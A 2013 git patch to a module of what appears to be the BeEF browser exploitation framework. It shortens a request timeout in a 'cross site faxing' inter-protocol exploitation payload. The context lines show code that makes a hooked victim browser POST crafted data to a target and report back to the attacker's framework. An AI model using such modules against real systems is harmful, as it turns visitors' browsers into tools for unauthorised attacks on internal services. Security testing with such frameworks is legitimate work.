From 94e98f2fbb7d4992d9f7afcfd949d90a24b76bab Mon Sep 17 00:00:00 2001 From: bmantra Date: Fri, 29 Nov 2013 21:25:35 +0100 Subject: [PATCH] 2 seconds is more than enough to send a fax :p --- modules/ipec/cross_site_faxing/command.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/ipec/cross_site_faxing/command.js b/modules/ipec/cross_site_faxing/command.js index 2fb19bdca..4676339a1 100644 --- a/modules/ipec/cross_site_faxing/command.js +++ b/modules/ipec/cross_site_faxing/command.js @@ -21,7 +21,7 @@ beef.execute(function() { xhr.open("POST", uri, true); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.send(post_body); - setTimeout(function(){xhr.abort()}, 5000); + setTimeout(function(){xhr.abort()}, 2000); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent'); });